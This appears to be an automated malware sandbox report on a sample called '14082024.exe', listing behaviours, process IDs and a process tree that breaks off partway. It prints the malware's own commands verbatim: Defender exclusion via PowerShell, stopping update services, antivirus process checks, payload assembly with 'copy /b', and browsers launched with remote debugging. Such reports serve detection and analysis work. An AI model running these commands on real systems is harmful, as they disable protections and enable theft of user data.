041c9867ca8f562bbd2ab0c3710d83173ec3781d1dcaac5c6e07ee726624dfdc5814cffd336e17932f89beb9cf7fdbee9bebf61	14082024.exe

Runs net.exe
Runs ping.exe 1 TTPs 7 IoCs

Remote System Discovery
T1018

Processes:

PING.EXEPING.EXEPING.EXEPING.EXE

pid process

16212
6112 PING.EXE
6760 PING.EXE
8324 PING.EXE
8460 PING.EXE
11196
12764

Scheduled Task/Job: Scheduled Task 1 TTPs 64 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

Processes:

pid	process
1908	schtasks.exe
1564	schtasks.exe
6188	schtasks.exe
1372	schtasks.exe
2844	schtasks.exe
4424	schtasks.exe
1864	schtasks.exe
11884
2948	schtasks.exe
3964	schtasks.exe
2348	schtasks.exe
1168	schtasks.exe
1780	schtasks.exe
2020	schtasks.exe
596	schtasks.exe
5140	schtasks.exe
3324	schtasks.exe
1932	schtasks.exe
16428
1828	schtasks.exe
2148	schtasks.exe
3312	schtasks.exe
2216	schtasks.exe
3896	schtasks.exe
1260	schtasks.exe
1864	schtasks.exe
3468	schtasks.exe
11340	schtasks.exe
1268	schtasks.exe
328	schtasks.exe
5036	schtasks.exe
3356	schtasks.exe
3280	schtasks.exe
5564	schtasks.exe
5860	schtasks.exe
1504	schtasks.exe
4256	schtasks.exe
2284	schtasks.exe
3188	schtasks.exe
4636	schtasks.exe
1988	schtasks.exe
4256	schtasks.exe
4776	schtasks.exe
1844	schtasks.exe
4800	schtasks.exe
15296
3560	schtasks.exe
1504	schtasks.exe
1432	schtasks.exe
760	schtasks.exe
1520	schtasks.exe
16908
4576	schtasks.exe
8	schtasks.exe
3560	schtasks.exe
416	schtasks.exe
3432	schtasks.exe
1780	schtasks.exe
3188	schtasks.exe
3280	schtasks.exe
4132	schtasks.exe
1352	schtasks.exe
1008	schtasks.exe
6668	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

Possibly.pifchrome.exeserver.exemain.exe

pid	process
740	Possibly.pif
740	Possibly.pif
740	Possibly.pif
740	Possibly.pif
740	Possibly.pif
740	Possibly.pif
5024	chrome.exe
5024	chrome.exe
740	Possibly.pif
740	Possibly.pif
740	Possibly.pif
740	Possibly.pif
3080	server.exe
3080	server.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

4363463463464363463463463.exe

pid process

2516 4363463463464363463463463.exe
Suspicious behavior: LoadsDriver 1 IoCs

Processes:

Gwogw.exe

pid process

4664 Gwogw.exe
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 8 IoCs

Processes:

chrome.exemsedge.exe

pid process

5024 chrome.exe
5024 chrome.exe
5024 chrome.exe
5024 chrome.exe
4556 msedge.exe
4556 msedge.exe
4556 msedge.exe
4556 msedge.exe
Suspicious behavior: SetClipboardViewer 3 IoCs

Processes:

sysklnorbcv.exesysvplervcs.exesysnldcvmr.exe

pid process

5012 sysklnorbcv.exe
3824 sysvplervcs.exe
1708 sysnldcvmr.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

4363463463464363463463463.exetasklist.exetasklist.exechrome.exeStatement-415322024.exe

description	pid	process
Token: SeDebugPrivilege	2516	4363463463464363463463463.exe
Token: SeDebugPrivilege	1860	tasklist.exe
Token: SeDebugPrivilege	2512	tasklist.exe
Token: SeShutdownPrivilege	5024	chrome.exe
Token: SeCreatePagefilePrivilege	5024	chrome.exe
Token: SeShutdownPrivilege	5024	chrome.exe
Token: SeCreatePagefilePrivilege	5024	chrome.exe
Token: SeShutdownPrivilege	5024	chrome.exe
Token: SeCreatePagefilePrivilege	5024	chrome.exe
Token: SeShutdownPrivilege	5024	chrome.exe
Token: SeCreatePagefilePrivilege	5024	chrome.exe
Token: SeShutdownPrivilege	5024	chrome.exe
Token: SeCreatePagefilePrivilege	5024	chrome.exe
Token: SeShutdownPrivilege	5024	chrome.exe
Token: SeCreatePagefilePrivilege	5024	chrome.exe
Token: SeShutdownPrivilege	5024	chrome.exe
Token: SeCreatePagefilePrivilege	5024	chrome.exe
Token: SeShutdownPrivilege	5024	chrome.exe
Token: SeCreatePagefilePrivilege	5024	chrome.exe
Token: SeShutdownPrivilege	5024	chrome.exe
Token: SeCreatePagefilePrivilege	5024	chrome.exe
Token: SeShutdownPrivilege	5024	chrome.exe
Token: SeCreatePagefilePrivilege	5024	chrome.exe
Token: SeShutdownPrivilege	5024	chrome.exe
Token: SeCreatePagefilePrivilege	5024	chrome.exe
Token: SeShutdownPrivilege	5024	chrome.exe
Token: SeCreatePagefilePrivilege	5024	chrome.exe
Token: SeShutdownPrivilege	5024	chrome.exe
Token: SeCreatePagefilePrivilege	5024	chrome.exe
Token: SeShutdownPrivilege	5024	chrome.exe
Token: SeCreatePagefilePrivilege	5024	chrome.exe
Token: SeShutdownPrivilege	5024	chrome.exe
Token: SeCreatePagefilePrivilege	5024	chrome.exe
Token: SeShutdownPrivilege	5024	chrome.exe
Token: SeCreatePagefilePrivilege	5024	chrome.exe
Token: SeShutdownPrivilege	5024	chrome.exe
Token: SeCreatePagefilePrivilege	5024	chrome.exe
Token: SeShutdownPrivilege	5024	chrome.exe
Token: SeCreatePagefilePrivilege	5024	chrome.exe
Token: SeShutdownPrivilege	5024	chrome.exe
Token: SeCreatePagefilePrivilege	5024	chrome.exe
Token: SeShutdownPrivilege	5024	chrome.exe
Token: SeCreatePagefilePrivilege	5024	chrome.exe
Token: SeShutdownPrivilege	5024	chrome.exe
Token: SeCreatePagefilePrivilege	5024	chrome.exe
Token: SeShutdownPrivilege	5024	chrome.exe
Token: SeCreatePagefilePrivilege	5024	chrome.exe
Token: SeShutdownPrivilege	5024	chrome.exe
Token: SeCreatePagefilePrivilege	5024	chrome.exe
Token: SeDebugPrivilege	380	Statement-415322024.exe
Token: SeShutdownPrivilege	5024	chrome.exe
Token: SeCreatePagefilePrivilege	5024	chrome.exe
Token: SeShutdownPrivilege	5024	chrome.exe
Token: SeCreatePagefilePrivilege	5024	chrome.exe
Token: SeShutdownPrivilege	5024	chrome.exe
Token: SeCreatePagefilePrivilege	5024	chrome.exe
Token: SeShutdownPrivilege	5024	chrome.exe
Token: SeCreatePagefilePrivilege	5024	chrome.exe
Token: SeShutdownPrivilege	5024	chrome.exe
Token: SeCreatePagefilePrivilege	5024	chrome.exe
Token: SeShutdownPrivilege	5024	chrome.exe
Token: SeCreatePagefilePrivilege	5024	chrome.exe
Token: SeShutdownPrivilege	5024	chrome.exe
Token: SeCreatePagefilePrivilege	5024	chrome.exe

Suspicious use of FindShellTrayWindow 64 IoCs

Processes:

Possibly.pifchrome.exeserver.exemsedge.exedwm.exe

pid	process
740	Possibly.pif
740	Possibly.pif
740	Possibly.pif
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
3080	server.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe

Suspicious use of SendNotifyMessage 64 IoCs

Processes:

Possibly.pifchrome.exeserver.exedwm.exe

pid	process
740	Possibly.pif
740	Possibly.pif
740	Possibly.pif
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
3080	server.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe

Suspicious use of SetWindowsHookEx 11 IoCs

Processes:

server.exesvchost.exerhsgn_protected.exewinrar-x64-701ru.exeipscan221.exeme.exe

pid	process
3080	server.exe
3080	server.exe
900	svchost.exe
2128	rhsgn_protected.exe
1884	winrar-x64-701ru.exe
1884	winrar-x64-701ru.exe
1884	winrar-x64-701ru.exe
3616	ipscan221.exe
3616	ipscan221.exe
5300	me.exe
5300	me.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

4363463463464363463463463.exeConsiderableWinners.execmd.exechrome.exe

description	pid	process	target process
PID 2516 wrote to memory of 1928	2516	4363463463464363463463463.exe	ConsiderableWinners.exe
PID 2516 wrote to memory of 1928	2516	4363463463464363463463463.exe	ConsiderableWinners.exe
PID 2516 wrote to memory of 1928	2516	4363463463464363463463463.exe	ConsiderableWinners.exe
PID 1928 wrote to memory of 3472	1928	ConsiderableWinners.exe	cmd.exe
PID 1928 wrote to memory of 3472	1928	ConsiderableWinners.exe	cmd.exe
PID 1928 wrote to memory of 3472	1928	ConsiderableWinners.exe	cmd.exe
PID 3472 wrote to memory of 1860	3472	cmd.exe	tasklist.exe
PID 3472 wrote to memory of 1860	3472	cmd.exe	tasklist.exe
PID 3472 wrote to memory of 1860	3472	cmd.exe	tasklist.exe
PID 3472 wrote to memory of 1076	3472	cmd.exe	findstr.exe
PID 3472 wrote to memory of 1076	3472	cmd.exe	findstr.exe
PID 3472 wrote to memory of 1076	3472	cmd.exe	findstr.exe
PID 3472 wrote to memory of 2512	3472	cmd.exe	tasklist.exe
PID 3472 wrote to memory of 2512	3472	cmd.exe	tasklist.exe
PID 3472 wrote to memory of 2512	3472	cmd.exe	tasklist.exe
PID 3472 wrote to memory of 2684	3472	cmd.exe	findstr.exe
PID 3472 wrote to memory of 2684	3472	cmd.exe	findstr.exe
PID 3472 wrote to memory of 2684	3472	cmd.exe	findstr.exe
PID 3472 wrote to memory of 4636	3472	cmd.exe	cmd.exe
PID 3472 wrote to memory of 4636	3472	cmd.exe	cmd.exe
PID 3472 wrote to memory of 4636	3472	cmd.exe	cmd.exe
PID 3472 wrote to memory of 4424	3472	cmd.exe	findstr.exe
PID 3472 wrote to memory of 4424	3472	cmd.exe	findstr.exe
PID 3472 wrote to memory of 4424	3472	cmd.exe	findstr.exe
PID 3472 wrote to memory of 3288	3472	cmd.exe	cmd.exe
PID 3472 wrote to memory of 3288	3472	cmd.exe	cmd.exe
PID 3472 wrote to memory of 3288	3472	cmd.exe	cmd.exe
PID 3472 wrote to memory of 740	3472	cmd.exe	Possibly.pif
PID 3472 wrote to memory of 740	3472	cmd.exe	Possibly.pif
PID 3472 wrote to memory of 5068	3472	cmd.exe	choice.exe
PID 3472 wrote to memory of 5068	3472	cmd.exe	choice.exe
PID 3472 wrote to memory of 5068	3472	cmd.exe	choice.exe
PID 5024 wrote to memory of 1872	5024	chrome.exe	chrome.exe
PID 5024 wrote to memory of 1872	5024	chrome.exe	chrome.exe
PID 5024 wrote to memory of 4688	5024	chrome.exe	chrome.exe
PID 5024 wrote to memory of 4688	5024	chrome.exe	chrome.exe
PID 5024 wrote to memory of 4688	5024	chrome.exe	chrome.exe
PID 5024 wrote to memory of 4688	5024	chrome.exe	chrome.exe
PID 5024 wrote to memory of 4688	5024	chrome.exe	chrome.exe
PID 5024 wrote to memory of 4688	5024	chrome.exe	chrome.exe
PID 5024 wrote to memory of 4688	5024	chrome.exe	chrome.exe
PID 5024 wrote to memory of 4688	5024	chrome.exe	chrome.exe
PID 5024 wrote to memory of 4688	5024	chrome.exe	chrome.exe
PID 5024 wrote to memory of 4688	5024	chrome.exe	chrome.exe
PID 5024 wrote to memory of 4688	5024	chrome.exe	chrome.exe
PID 5024 wrote to memory of 4688	5024	chrome.exe	chrome.exe
PID 5024 wrote to memory of 4688	5024	chrome.exe	chrome.exe
PID 5024 wrote to memory of 4688	5024	chrome.exe	chrome.exe
PID 5024 wrote to memory of 4688	5024	chrome.exe	chrome.exe
PID 5024 wrote to memory of 4688	5024	chrome.exe	chrome.exe
PID 5024 wrote to memory of 4688	5024	chrome.exe	chrome.exe
PID 5024 wrote to memory of 4688	5024	chrome.exe	chrome.exe
PID 5024 wrote to memory of 4688	5024	chrome.exe	chrome.exe
PID 5024 wrote to memory of 4688	5024	chrome.exe	chrome.exe
PID 5024 wrote to memory of 4688	5024	chrome.exe	chrome.exe
PID 5024 wrote to memory of 4688	5024	chrome.exe	chrome.exe
PID 5024 wrote to memory of 4688	5024	chrome.exe	chrome.exe
PID 5024 wrote to memory of 4688	5024	chrome.exe	chrome.exe
PID 5024 wrote to memory of 4688	5024	chrome.exe	chrome.exe
PID 5024 wrote to memory of 4688	5024	chrome.exe	chrome.exe
PID 5024 wrote to memory of 4688	5024	chrome.exe	chrome.exe
PID 5024 wrote to memory of 4688	5024	chrome.exe	chrome.exe
PID 5024 wrote to memory of 4688	5024	chrome.exe	chrome.exe
PID 5024 wrote to memory of 4688	5024	chrome.exe	chrome.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\sihost.exe
sihost.exe
1⤵
PID:2264
- C:\Windows\SysWOW64\dialer.exe
  "C:\Windows\system32\dialer.exe"
  2⤵
  PID:4220

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3336
- C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe
  "C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"
  2⤵
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2516
- - C:\Users\Admin\AppData\Local\Temp\Files\ConsiderableWinners.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\ConsiderableWinners.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in Windows directory
    - Suspicious use of WriteProcessMemory
    PID:1928
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /k move Dk Dk.cmd & Dk.cmd & exit
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3472
    - - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:1860
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "wrsa.exe opssvc.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1076
    - - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:2512
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "avastui.exe avgui.exe ekrn.exe bdservicehost.exe nswscsvc.exe sophoshealth.exe"
        5⤵
        
        PID:2684
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c md 217412
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4636
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V "PlasmaProfessionalConstitutesGuide" Cheaper
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4424
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b Mailing + Violin + Ethernet + Operated + Lunch + Useful 217412\N
        5⤵
        
        PID:3288
    - - C:\Users\Admin\AppData\Local\Temp\217412\Possibly.pif
        
        Possibly.pif N
        5⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:740
    - - C:\Windows\SysWOW64\choice.exe
        
        choice /d y /t 5
        5⤵
        
        PID:5068
- - C:\Users\Admin\AppData\Local\Temp\Files\Statement-415322024.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\Statement-415322024.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:380
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 380 -s 964
      4⤵
      Program crash
      PID:836
- - C:\Users\Admin\AppData\Local\Temp\Files\s.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\s.exe"
    3⤵
    - Executes dropped EXE
    PID:4272
- - C:\Users\Admin\AppData\Local\Temp\Files\server.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\server.exe"
    3⤵
    - Executes dropped EXE
    - Enumerates connected drives
    - Writes to the Master Boot Record (MBR)
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of SetWindowsHookEx
    PID:3080
- - C:\Users\Admin\AppData\Local\Temp\Files\1_encoded.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\1_encoded.exe"
    3⤵
    - Executes dropped EXE
    PID:1572
- - C:\Users\Admin\AppData\Local\Temp\Files\msf.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\msf.exe"
    3⤵
    - Executes dropped EXE
    PID:1068
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1068 -s 1212
      4⤵
      Program crash
      PID:4520
- - C:\Users\Admin\AppData\Local\Temp\Files\DecryptJohn.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\DecryptJohn.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of SetThreadContext
    PID:3716
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe"
      4⤵
      PID:424
- - C:\Users\Admin\AppData\Local\Temp\Files\tpeinf.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\tpeinf.exe"
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Drops file in Windows directory
    PID:2112
  - - C:\Windows\sysppvrdnvs.exe
      C:\Windows\sysppvrdnvs.exe
      4⤵
      Modifies security service
      Windows security bypass
      Executes dropped EXE
      Windows security modification
      System Location Discovery: System Language Discovery
      PID:3868
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
        5⤵
        
        PID:4800
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:336
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS /wait
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2916
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop UsoSvc
        6⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:4700
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop WaaSMedicSvc
        6⤵
        Launches sc.exe
        
        PID:2340
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop wuauserv
        6⤵
        Launches sc.exe
        
        PID:4432
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop DoSvc
        6⤵
        Launches sc.exe
        
        PID:4180
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop BITS /wait
        6⤵
        Launches sc.exe
        
        PID:1812
    - - C:\Users\Admin\AppData\Local\Temp\931427072.exe
        
        C:\Users\Admin\AppData\Local\Temp\931427072.exe
        5⤵
        Executes dropped EXE
        
        PID:4276
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        6⤵
        
        PID:2880
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        7⤵
        
        PID:4696
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"
        6⤵
        
        PID:3020
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /delete /f /tn "Windows Upgrade Manager"
        7⤵
        
        PID:2480
    - - C:\Users\Admin\AppData\Local\Temp\2667518541.exe
        
        C:\Users\Admin\AppData\Local\Temp\2667518541.exe
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:3724
    - - C:\Users\Admin\AppData\Local\Temp\3311910624.exe
        
        C:\Users\Admin\AppData\Local\Temp\3311910624.exe
        5⤵
        Executes dropped EXE
        
        PID:1824
      - C:\Users\Admin\AppData\Local\Temp\1214336818.exe
        
        C:\Users\Admin\AppData\Local\Temp\1214336818.exe
        6⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        
        PID:4228
- - C:\Users\Admin\AppData\Local\Temp\Files\TPB-1.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\TPB-1.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Checks processor information in registry
    PID:4056
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
      4⤵
      Uses browser remote debugging
      PID:3508
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffd0d13cc40,0x7ffd0d13cc4c,0x7ffd0d13cc58
        5⤵
        
        PID:3740
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"
      4⤵
      Uses browser remote debugging
      Enumerates system info in registry
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of FindShellTrayWindow
      PID:4556
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffd0d163cb8,0x7ffd0d163cc8,0x7ffd0d163cd8
        5⤵
        
        PID:760
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1888,17965663435079314817,11607132221879763537,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1900 /prefetch:2
        5⤵
        
        PID:1804
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1888,17965663435079314817,11607132221879763537,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2352 /prefetch:3
        5⤵
        
        PID:2204
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1888,17965663435079314817,11607132221879763537,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2600 /prefetch:8
        5⤵
        
        PID:3704
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=1888,17965663435079314817,11607132221879763537,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3276 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:3092
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=1888,17965663435079314817,11607132221879763537,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3308 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:2012
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1888,17965663435079314817,11607132221879763537,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1900 /prefetch:2
        5⤵
        
        PID:3064
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
